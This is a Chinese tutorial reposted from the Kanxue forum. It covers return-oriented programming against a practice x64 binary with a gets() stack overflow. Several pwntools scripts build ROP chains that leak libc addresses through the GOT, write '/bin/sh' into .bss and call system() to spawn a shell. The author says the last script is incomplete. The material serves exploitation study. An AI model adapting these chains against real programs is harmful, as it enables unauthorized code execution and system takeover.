ROP【二進位制學習】

Editor發表於2018-08-29

Linux x64平臺上的二進位制ROP分析學習,目標檔案附件中。檔案開啟了NX保護,使用ROP技術實現溢位繞過。

IDA 反彙編檢視檔案如下:


ROP【二進位制學習】

ROP【二進位制學習】


進入vuln函式後 棧開闢 rsp,40h大小,gets函式讀入資料到rdi指向的空間,而此時rdi是指向棧頂,如果不遇到換行符或0 gets將一直讀入資料到棧上。所以這是一個經典的棧溢位。下面開始分析學習。


ROP【二進位制學習】


使用pwn工具檢查ELF檔案開啟的保護,程式碼如下:


#!/usr/bin/python

from pwn import *                                                                                                           

import pdb

context.log_level = 'debug'

target=process('./rop')

elf = ELF('./rop')

pdb.set_trace()

target.sendline('a'*64+'b'*8+'c'*8)

target.interactive()

ROP【二進位制學習】


檔案開啟了NX保護,因為堆疊開闢了0x40大小,所以我用40個a覆蓋這個40位元組大小,用8位元組b覆蓋rbp,後面用8位元組c覆蓋返回地址。函式返回時會跳轉到ccc處執行,程式崩潰。

因為有NX保護所以不能再堆疊上執行,這裡需要迂迴利用即ROP技術得到shell。

如果最終執行shellcode獲得shell就要通過mmap函式在可執行的程式碼區申請一片空間,然後執行gets函式拷貝shellcode到該空間,最後把EIP指向shellcode的空間去執行。這樣就需要在ELF的記憶體中找到一個可執行可寫的空間。

ROP【二進位制學習】


如圖所示,凡是可執行的空間不可寫,凡是可寫的空間不能執行。但是ELF記憶體中載入了libc庫,這個庫裡面有system函式,執行system(‘/bin/sh’)同樣可以獲得SHELL。


問題一:ELF雖然沒有開啟PIE(記憶體地址隨機化),其記憶體載入基地址雖然是固定的,但是ELF中並沒有明確呼叫system函式,所以我們無法直接拿system函式用。

解答:通過觀察rop檔案發現其中有一個printf函式,列印來自終端輸入的字元,我們控制printf函式列印system函式地址。


ROP【二進位制學習】


1.ROP鏈構造列印system函式地址

研究怎麼控制rsi的值,現在我們能控制函式的返回值地址,那麼只要跳轉到一個程式碼片段給rsi賦值後返回,然後在跳轉到printf處執行即可(這裡就是獲得gadget)。已有現成的工具來搜尋這樣的程式碼片段了 可網上搜尋查詢,這裡使用IDA搜尋本地pop rsi。如下:


ROP【二進位制學習】


堆疊里布置資料,先執行 0x40075A處的程式碼,然後跳轉到 0x400740處去執行,這樣就可以控制r12,edi,rsi。然後執行call的時候讓call地址變成printf got表裡的地址,這樣就可以列印任意地址指向的記憶體值。


1.返回值地址處用0x40075A覆蓋

2.因為call執行完後 要判斷rbx rbp是否相等。所以這裡讓rbx為0,rbp為1就繞過了迴圈判斷。

3.使用printf的got地址填充,這樣pop r12, rbx為0 然後call呼叫printf函式

4.r13 並沒有怎麼使用所以這裡填充0

5.r14 傳給了 rsi 這裡是我們要列印的地址,這裡列印printf got表地址指向的內容,所以使用printf got地址填充

6.r15 傳給了 edi,對printf函式引數來說他是一個格式化串,這裡只是只用檔案中的字串0x400784地址填充

7.retun指向後要返回到rsp指向的空間,這裡因為要跳轉到0x400740處去執行call,所以使用0x400740覆蓋

8.Call執行完後,還要執行一個“add rsp,8”和6次pop,那麼我們在後面再佈置7個地址,然後返回地址用vuln地址,繼續跳轉到漏洞函式處。7個0和0x400656


#!/usr/bin/python

from pwn import *

import pdb                                                                                                                  

context.log_level = 'debug'

target=process('./rop')

elf = ELF('./rop')

print_got_addr = elf.got['printf']

print(hex(print_got_addr))

rop='a'*72

rop += p64(0x40075a)   #返回地址

rop += p64(0x0)             # rbx

rop += p64(0x1)             # rbp

rop += p64(print_got_addr)

rop += p64(0x0)

rop += p64(0x400784)

rop += p64(0x400740)

rop += p64(0x0) * 7

rop += p64(0x400656)

pdb.set_trace()

target.sendline(rop)

target.recvuntil(':')

target.recvuntil(': ')

addr = target.recvline()[:-1]

addr = u64(addr + '\x00' (8-len(addr)))

print('printfs addr is :')

print(hex(addr))

target.interactive()


ROP【二進位制學習】

ROP【二進位制學習】


注意這裡有個問題:這堆疊裡面 r12 和 r13並沒有按照我們原本想象的那樣填充。因為gets函式遇到換行符就結束了後面的內容不在讀取。然而printf_got_addr = 0x600af0,這個資料中剛好有個0x0a(換行符記憶體中的值)

解決辦法:不用直接傳0x600af0,我們可以配合rbx*8 變換 然後r12變成其他的值即可。r12 = 0x600af0-rbx*8 如果要改變到0x0a 則需要rbx*8 > 0xF0   ---->   rbx > 0xF0/8 == rbx > 0x1e,因為後面有個判斷 rbp = rbx + 1 所以這裡讓rbx = 0x1f。

修改程式碼繼續列印system地址:


#!/usr/bin/python

from pwn import *

import pdb                                                                                                                  

context.log_level = 'debug'

target=process('./rop')

elf = ELF('./rop')

print_got_addr = elf.got['printf']

gets_got_addr = elf.got['gets']

print(hex(print_got_addr))

rop='a'*72

rop += p64(0x40075a)

rop += p64(0x1f)

rop += p64(0x20)

rop += p64(print_got_addr - 0xf8)

rop += p64(0x0)

rop += p64(gets_got_addr)

rop += p64(0x400784)

rop += p64(0x400740)

rop += p64(0x0) * 7

rop += p64(0x400656)

pdb.set_trace()

target.sendline(rop)

target.recvuntil(':')

target.recvuntil(': ')

addr = target.recvline()[:-1]

addr = u64(addr+'\x00'*(8-len(addr)))

print('printfs addr is :')

print(hex(addr))


IDA 附加程式執行到printf函式時發出一個退出訊號。因為printf需要rax為0,所以rop鏈需要在繼續新增跳轉讓rax為0的程式碼段。在如下地址找到(0x4005F3):


ROP【二進位制學習】


這裡我們先將返回地址覆蓋成0x4005F3然後在跳轉到0x40075a 就可以完成printf函式執行。修改程式碼如下:


#!/usr/bin/python

from pwn import *

import pdb                                                                                                                  

context.log_level = 'debug'

target=process('./rop')

elf = ELF('./rop')

print_got_addr = elf.got['printf']

gets_got_addr = elf.got['gets']

print(hex(print_got_addr))

rop='a'*72

rop += p64(0x4005f3)    #rax為0

rop += p64(0x0)

rop += p64(0x40075a)

rop += p64(0x1f)

rop += p64(0x20)

rop += p64(print_got_addr - 0xf8)

rop += p64(0x0)

rop += p64(gets_got_addr)

rop += p64(0x400784)

rop += p64(0x400740)

rop += p64(0x0) * 7

rop += p64(0x400656)

pdb.set_trace()

target.sendline(rop)

target.recvuntil(':')

target.recvuntil(': ')

addr = target.recvline()[:-1]

addr = u64(addr+'\x00'*(8-len(addr)))

print('printfs addr is :')

print(hex(addr))


除錯輸出system函式地址:


ROP【二進位制學習】


後面我使用IDA 附加程式找到system函式地址和gets函式地址計算兩個地址之間的偏移:


ROP【二進位制學習】

我電腦上計算的偏移為:0x28DE0

system函式在libc中的地址為 0x7fafa2911370 - 0x28DE0

64位彙編

當引數少於7個時, 引數從左到右放入暫存器: rdi, rsi, rdx, rcx, r8, r9。

當引數為7個以上時, 前 6 個與前面一樣,但後面的依次從 “右向左” 放入棧中,即和32位彙編一樣


引數個數大於 7 個的時候

H(a, b, c, d, e, f, g, h);

a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9

h->8(%esp)

g->(%esp)

call H


2.ROP鏈構造執行system函式


得到system函式地址後,接下來就是執行system。那麼x64系統下引數是存放在暫存器上,第一個引數地址放在rdi暫存器裡。

這樣要執行system(‘/bin/sh’)我們就需要找'/bin/sh'字串的地址,然後把該地址放到rdi再去執行system函式,才能獲得shell。其實在libc裡面有‘/bin/sh’也可以用上面的辦法計算偏移得到地址。參考文章中是繼續使用Rop鏈所以我跟隨文章中的思路繼續學習。

通過觀察ELF檔案各個區段資訊,發現.bss段是可寫的,利用Rop技術執行gets函式,把'/bin/sh'讀入到這個區域,然後記錄其地址,並傳給edi。system函式地址也寫入到.bss段中。

bss段地址為 0x600B30, 這裡  0x600B30存放system函式地址,0x600B38存放字串,執行call 0x6000b30就會跳轉到system地址處去執行。


ROP【二進位制學習】


構造rop來執行gets函式把輸入的值寫到bss段上。原始碼裡gets函式相關的反彙編:


ROP【二進位制學習】


可以看到,gets執行是把輸入的資料直接讀入到了rdi指向的記憶體空間了,這裡我們就控制rdi為0x600b30,然後一起讀入system地址和/bin/sh。

所利用的程式碼片段如下:


ROP【二進位制學習】


#!/usr/bin/python

from pwn import *                                                                                                           

import pdb

context.log_level = 'debug'

target=process('./rop')

elf = ELF('./rop')

print_got_addr = elf.got['printf']

gets_got_addr = elf.got['gets']

print(hex(print_got_addr))

rop='a'*72

rop += p64(0x4005f3)

rop += p64(0x0)

rop += p64(0x40075a)

rop += p64(0x1f)

rop += p64(0x20)

rop += p64(print_got_addr - 0xf8)

rop += p64(0x0)

rop += p64(gets_got_addr)

rop += p64(0x400784)

rop += p64(0x400740)

rop += p64(0x0) * 7

rop += p64(0x400656)

pdb.set_trace()

target.sendline(rop)

target.recvuntil(':')

target.recvuntil(': ')

addr = target.recvline()[:-1]

addr = u64(addr+'\x00'*(8-len(addr)))

sys_addr = addr - 0x28DE0

print('printfs addr is :')

print(hex(addr))

rop ='a'*72

rop += p64(0x40075a)

rop += p64(0x0)

rop += p64(0x1)

rop += p64(gets_got_addr)

rop += p64(0x0)

rop += p64(0x0)

rop += p64(0x600b30)

rop += p64(0x400740)

rop += p64(0x0)*7

rop += p64(0x40075a)

rop += p64(0x0)

rop += p64(0x1)

rop += p64(0x600b30)

rop += p64(0x0)

rop += p64(0x0)

rop += p64(0x600b38)

rop += p64(0x0400740)

rop += p64(0x0)*7

rop += p64(0x400656)

target.sendline(rop)

target.sendline(p64(sys_addr)+'/bin/sh')

target.sendline(rop)

target.interactive()          


因為某個知識點不清楚程式碼寫的不完整所以執行效果沒有像原文中那樣完整:


ROP【二進位制學習】


感謝看雪論壇和論壇上大佬們的無私奉獻!

相關連結:[原創]二進位制漏洞利用中的ROP技術研究與例項分析








原文作者: 山竹笠(看雪ID)

原文連結:https://bbs.pediy.com/thread-246484.htm

轉載請註明:轉自看雪論壇



看雪推薦閱讀:


1、比特幣原始碼研讀---開篇



2、分析了個簡單的病毒, 熟悉一下16位彙編不死鳥之眼——CVE-2012-0158的常見利用姿勢



3、某核心注入型外掛樣本原理分析。震驚!火絨慘遭利用,藍洞或成最大輸家



4、一次逆向fb尋找密碼的記錄及還原相關演算法



5、不死鳥之眼——CVE-2012-0158的常見利用姿勢



相關文章